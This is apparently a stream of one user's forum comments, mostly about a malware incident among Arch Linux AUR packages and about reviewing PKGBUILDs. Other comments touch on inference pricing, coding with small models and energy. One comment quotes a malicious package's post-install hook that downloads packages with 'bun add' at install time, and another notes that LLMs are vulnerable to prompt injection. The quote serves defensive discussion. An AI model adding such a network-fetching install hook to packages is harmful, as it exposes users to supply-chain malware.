I don't have a clue on what the real cost to inference providers comes out to, but it seems really weird that there would be such a big gap, in what should be a pretty competitive market.

Do they just set a super low caching time and hope that drops effective cache rates low enough? Do all other providers somehow overcharge by that much? Are they just going to sell it as a loss leader?

Best hypothesis I can come up with is to somehow make the AI companies look bad, but they seem to be doing an excellent job at that themselves already by scraping everyone hundreds of times per hour over and over.

If it is a deliberate choice, it's a really, really dumb one.

Active cables are a different story of course, but that's the same for HDMI cables.

But for coding in a harness? In my experience it's unusable even for small projects. It just gets hard stuck at every little problem, wasting hundreds of thousands of tokens trying to make a convoluted solution work instead of doing the obvious thing. Or it will spend hours trying to reason through a fairly simple code flow, incrementally adding debug print statements, only to get confused by the output and then editing completely unrelated code that it convinced itself is the problem.

I've tried instead giving Sonnet the problem description and code and have it come up with a detailed plan that Qwen should implement, but doing that actually consumes a significant amount of tokens compared to just telling it to implement everything, and the results are honestly not that much better. There are just too often subtle issues with the plan that Qwen doesn't recognize when implementing, but make the resulting solution it comes up with unusable.

Europe is heading into the worst energy crisis since at least the 1970s, possibly worse. And yet very little is happening to prepare for it. Definitely some fun times ahead.

First, although I don't disagree with that being how it should work, in a world where everyone relies on npm, cargo, etc. to handle dependencies this scenario is not realistic.

Second and more importantly, it doesn't really change much if it's listed in the sources or not. You can patch a startup file to download something as soon as the program is executed, including checks if it's currently running in a virtual environment. You cannot statically detect that the PKGBUILD contains something like that, antivirus software has been trying to do just that for decades and their detection is still basically useless.

> A less than 100% reliable mechanism sure beats the current situation which is "wait for users report on the forum that they have been pwn3d".

The current situation is users are expected to review PKGBUILDs before they install them. And you're ignoring that implementing any mechanism has a cost. I don't know if it's worth it or not, but it's not unrealistic that it would be a ton of effort for no barely any gain.

Huh? No they don't. I'm not sure what part of the attack your misunderstood, but most people are going to be completely unaffected by this. None of the infrastructure or anything like that got compromised. I updated my AUR packages 2 hours ago, and didn't get served any malware.

Again, there's probably some kind of malware on npmjs at any given time. You don't just shutdown the entire server because of that, that's madness.

> install=toggldesktop-bin-deps.install

And the toggldesktop-bin-deps.install contains this:

> post_install() {{

> cd /tmp

> bun add axios uuid ora js-digest

> }}

Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.

Do you not realize how crazy of an request that is?

Ultimately, the way we're doing permissions on the OS level is fundamentally broken on desktop OSes, and we're increasingly feeling the effects of that. Ideally everything should be sandboxed by default, and only given access to it's own files, instead of everything the user has.

But we're a long way away from that, and that's not something a single project could enforce.

Maybe they'd be an option, but then the whole "making sure they've read the message before proceeding" part goes out the window.

Maybe doing automated LLM reviews would help, but this is a large infrastructure investment. And it's not clear that it helps at all, after all models are quite vulnerable to prompt-injection type attacks.

There are AUR helpers, but these are completely unaffiliated with arch and the people running the AUR. The canonical, recommended way of installing arch packages is cloning a git repo, reading through the sources and then building it with makepkg. There is no client there that could show the user anything.

> New API should have infrastructure for informing users and making sure they've read the message before proceeding.

How would that even work? AUR packages are just git repos, everything that AUR helpers are doing or not doing is not under the control of the arch maintainers.

You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. This really has always been the case; we've had discussion about this for well over a decade. People are always asking why there's no official AUR helper like yay - this is why.

A lot of people complain about Arch Linux being elitist, but the simple reality is it's a distro built for people who know what they are doing and don't need or want their hand held at every step of the way. This also means that if you break or compromise your own system by installing random AUR packages, it's your own damn fault.

All of that being said, the era of allowing anyone to adopt AUR packages might be coming to an end. If for no other reason then the effort of rolling back every affected package every time is too high. I'm not sure what the alternative would be, reviewing every adoption request seems like too much effort and wouldn't necessarily even help every time.